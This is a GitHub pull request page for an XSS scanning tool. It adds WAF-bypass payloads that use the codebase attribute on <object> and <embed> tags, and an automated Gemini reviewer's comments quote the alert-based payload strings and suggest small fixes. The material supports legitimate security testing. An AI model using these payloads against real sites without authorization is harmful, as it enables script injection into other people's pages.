Skip to content

Conversation

@hahwul
Copy link
Owner

@hahwul hahwul commented Jul 5, 2025

No description provided.

@hahwul hahwul self-assigned this Jul 5, 2025
@hahwul hahwul linked an issue Jul 5, 2025 that may be closed by this pull request
Copy link
Contributor

@gemini-code-assist gemini-code-assist bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Summary of Changes

Hello @hahwul, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed!

This pull request enhances the tool's XSS testing capabilities by expanding its payload database. It introduces new techniques that utilize the codebase attribute in HTML <object> and <embed> elements, aiming to improve the detection of Cross-Site Scripting vulnerabilities, particularly those designed to bypass Web Application Firewalls.

Highlights

  • XSS Payloads: Added new XSS payloads leveraging the codebase attribute within <object> and <embed> HTML tags to both the WAF bypass and common payload lists. These additions aim to improve the detection of XSS vulnerabilities that utilize these specific HTML attributes for execution.
Using Gemini Code Assist

The full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips.

Invoking Gemini

You can request assistance from Gemini at any point in your pull request via creating an issue comment (i.e. comment on the pull request page) using either /gemini <command> or @gemini-code-assist <command>. Below is a summary of the supported commands.

Feature Command Description
Code Review /gemini review Performs a code review for the current pull request in its current state.
Pull Request Summary /gemini summary Provides a summary of the current pull request in its current state.
Comment @gemini-code-assist Responds in comments when explicitly tagged, both in issue comments and review comments.
Help /gemini help Displays a list of available commands.

Customization

To customize Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a .gemini/ folder in the base of the repository. Detailed instructions can be found here.

Limitations & Feedback

Gemini Code Assist is currently in preview and may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counter productive. You can react with 👍 and 👎 on @gemini-code-assist comments to provide feedback.

You can also get AI-powered code generation, chat, as well as code reviews directly in the IDE at no cost with the Gemini Code Assist IDE Extension.

Footnotes

  1. Review the Privacy Notices, Generative AI Prohibited Use Policy, Terms of Service, and learn how to configure Gemini Code Assist in GitHub here. Gemini can make mistakes, so double check it and use code with caution.

@hahwul hahwul merged commit 4ceb700 into main Jul 5, 2025
@hahwul hahwul deleted the improve/issue-750 branch July 5, 2025 14:52
Copy link
Contributor

@gemini-code-assist gemini-code-assist bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request adds new XSS payloads for <object> and <embed> tags using the codebase attribute to bypass WAFs. The changes are good, but I have a few suggestions to improve the correctness and consistency of the new payloads. Specifically, I'm suggesting adding missing closing tags and ensuring javascript: URIs are properly terminated.

"<object data=javascript:alert(1)></object>",
"<object/data=javascript:alert(1)></object>",
"<object data=data:text/html,<script>alert(1)</script>></object>",
"<object data=# codebase=javascript:alert(1)//>",
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

The <object> tag is not a void element and should have a closing tag </object>. While some browsers might execute this payload without it, it's best practice to include it for correctness and for consistency with other <object> payloads in this list.

Suggested change
"<object data=# codebase=javascript:alert(1)//>",
"<object data=# codebase=javascript:alert(1)//></object>",

"<embed src=javascript:alert(1)></embed>",
"<embed/src=javascript:alert(1)></embed>",
"<embed src=data:text/html,<script>alert(1)</script>></embed>",
"<embed src=# codebase=javascript:alert(1)//>",
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

For consistency with other <embed> payloads in this function, consider adding a closing </embed> tag. Although <embed> is a void element in HTML5, other payloads for this tag in the list include a closing tag.

Suggested change
"<embed src=# codebase=javascript:alert(1)//>",
"<embed src=# codebase=javascript:alert(1)//></embed>",

Comment on lines +511 to +512
"><object data=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></object>",
"'><object data=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></object>",
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

For robustness, it's good practice to terminate javascript: URIs with // to comment out any subsequent characters that might be appended by the browser or application logic. This would also make it consistent with other similar codebase payloads in this file (e.g., lines 609-610) which include the comment slashes.

Suggested change
"><object data=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></object>",
"'><object data=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></object>",
"><object data=# codebase=javascript:alert(DALFOX_ALERT_VALUE)//></object>",
"'><object data=# codebase=javascript:alert(DALFOX_ALERT_VALUE)//></object>",

Comment on lines +515 to +516
"><embed src=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></embed>",
"'><embed src=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></embed>",
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

For robustness, it's good practice to terminate javascript: URIs with // to comment out any subsequent characters that might be appended by the browser or application logic. This would also make it consistent with other similar codebase payloads in this file (e.g., lines 611-612) which include the comment slashes.

Suggested change
"><embed src=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></embed>",
"'><embed src=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></embed>",
"><embed src=# codebase=javascript:alert(DALFOX_ALERT_VALUE)//></embed>",
"'><embed src=# codebase=javascript:alert(DALFOX_ALERT_VALUE)//></embed>",

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Add new payloads (object/embed codebase)

2 participants